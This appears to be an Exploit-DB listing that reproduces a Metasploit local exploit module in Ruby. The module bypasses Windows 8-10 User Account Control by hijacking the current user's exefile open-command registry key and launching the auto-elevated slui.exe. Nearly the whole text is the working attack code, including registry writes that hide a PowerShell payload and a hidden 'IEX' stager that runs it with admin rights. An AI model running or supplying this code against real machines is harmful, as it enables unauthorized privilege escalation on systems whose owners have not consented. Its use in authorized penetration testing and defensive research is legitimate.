



Microsoft Windows - UAC Protection Bypass (Via Slui File Handler Hijack) (Metasploit)

EDB-ID: 44830	Author: Metasploit	Published: 2018-06-04
CVE: N/A	Type: Local	Platform: Windows
Aliases: N/A	Advisory/Source: Link	Tags: Metasploit Framework (MSF), Local
E-DB Verified: 	Exploit:  Download / View Raw	Vulnerable App: N/A

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```
1  ##
2  # This module requires Metasploit: https://metasploit.com/download
3  # Current source: https://github.com/rapid7/metasploit-framework
4  ##
5
6  require 'msf/core/exploit/exe'
7  require 'msf/core/exploit/powershell'
8
9  class MetasploitModule < Msf::Exploit::Local
10     Rank = ExcellentRanking
11
12     include Exploit::Powershell
13     include Post::Windows::Priv
14     include Post::Windows::Registry
15     include Post::Windows::Runas
16
17     SLUI_DEL_KEY          = "HKCU\\Software\\Classes\\exefile".freeze
18     SLUI_WRITE_KEY        = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
19     EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
```



```
20 EXEC_REG_VAL           = ''.freeze # This maps to "(Default)"
21 EXEC_REG_VAL_TYPE      = 'REG_SZ'.freeze
22 SLUI_PATH              = "%WINDIR%\\System32\\slui.exe".freeze
23 CMD_MAX_LEN            = 16383
24
25 def initialize(info = {})
26   super(
27     update_info(
28       info,
29       'Name'           => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
30       'Description'     => %q{
31         This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
32         the Current User hive, and inserting a custom command that will get invoked when any binary
33         (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
34         to file handler hijacking. When we run slui.exe with changed Registry key
35         (HKCU:\\Software\\Classes\\exefile\\shell\\open\\command), it will run our custom command as Admin
36         instead of slui.exe.
37
38         The module modifies the registry in order for this exploit to work. The modification is
39         reverted once the exploitation attempt has finished.
40
41         The module does not require the architecture of the payload to match the OS. If
42         specifying EXE::Custom your DLL should call ExitProcess() after starting the
43         payload in a different process.
44       },
45       'License'         => MSF_LICENSE,
46       'Author'          => [
47         'bytecode-77', # UAC bypass discovery and research
48         'gushmazuko', # MSF & PowerShell module
49       ],
50       'Platform'        => ['win'],
51       'SessionTypes'     => ['meterpreter'],
52       'Targets'          => [
53         ['Windows x86', { 'Arch' => ARCH_X86 }],
54         ['Windows x64', { 'Arch' => ARCH_X64 }],
55       ],
56       'DefaultTarget'    => 0,
57       'References'       => [
58         [
59           'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
60           'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
61         ]
62       ],
63       'DisclosureDate'   => 'Jan 15 2018'
64     )
65   )
```



```
65 )
66 end
67
68 def check
69   if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
70     CheckCode::Appears
71   else
72     CheckCode::Safe
73   end
74 end
75
76 def exploit
77   # Validate that we can actually do things before we bother
78   # doing any more work
79   check_permissions!
80
81   commspec = 'powershell'
82   registry_view = REGISTRY_VIEW_NATIVE
83   psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
84
85   # Make sure we have a sane payload configuration
86   if sysinfo['Architecture'] == ARCH_X64
87     if session.arch == ARCH_X86
88       # On x64, check arch
89       commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
90       if target_arch.first == ARCH_X64
91         # We can't use absolute path here as
92         # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
93         psh_path = "powershell.exe"
94       end
95     end
96     if target_arch.first == ARCH_X86
97       # Invoking x86, so switch to SysWOW64
98       psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
99     end
100   else
101     # if we're on x86, we can't handle x64 payloads
102     if target_arch.first == ARCH_X64
103       fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
104     end
105   end
106
107   if !payload.arch.empty? && (payload.arch.first != target_arch.first)
108     fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
109   end
end
```

```

110
111 case get_uac_level
112 when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
113       UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
114       UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
115     fail_with(Failure::NotVulnerable,
116              "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
117 when UAC_DEFAULT
118     print_good('UAC is set to Default')
119     print_good('BypassUAC can bypass this setting, continuing...')
120 when UAC_NO_PROMPT
121     print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
122     shell_execute_exe
123     return
124 end
125
126 payload_value = rand_text_alpha(8)
127 psh_path = expand_path(psh_path)
128
129 template_path = Rex::Powershell::Templates::TEMPLATE_DIR
130 psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
131
132 if psh_payload.length > CMD_MAX_LEN
133     fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #
134 {psh_payload.length})")
135 end
136
137 psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')}) -Name #
138 {payload_value}).#{payload_value}\""
139 cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
140
141 existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
142 exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
143
144 if existing.empty?
145     registry_createkey(SLUI_WRITE_KEY, registry_view)
146 end
147
148 print_status("Configuring payload and stager registry keys ...")
149 unless exist_delegate
150     registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
151 end
152
153 registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
154 registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)

```



```
153
154 # Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
155 cmd_path = expand_path(commspec)
156 cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
157 print_status("Executing payload: #{cmd_path} #{cmd_args}")
158
159 # We can't use cmd_exec here because it blocks, waiting for a result.
160 client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)
161
162 # Wait a couple of seconds to give the payload a chance to fire before cleaning up
163 # TODO: fix this up to use something smarter than a timeout?
164 sleep(3)
165
166 handler(client)
167
168 print_status("Cleaning ...")
169 unless exist_delegate
170   registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
171 end
172 if existing.empty?
173   registry_deletekey(SLUI_DEL_KEY, registry_view)
174 else
175   registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
176 end
177 registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
178 end
179
180 def check_permissions!
181   unless check == Exploit::CheckCode::Appears
182     fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
183   end
184   fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
185   # Check if you are an admin
186   # is_in_admin_group can be nil, true, or false
187   print_status('UAC is Enabled, checking level...')
188   vprint_status('Checking admin status...')
189   admin_group = is_in_admin_group?
190   if admin_group.nil?
191     print_error('Either whoami is not there or failed to execute')
192     print_error('Continuing under assumption you already checked...')
193   else
194     if admin_group
195       print_good('Part of Administrators group! Continuing...')
196     else
197       fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
```

```

198     end
199 end
200
201 if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
202     fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
203 end
204 end
205 end

```



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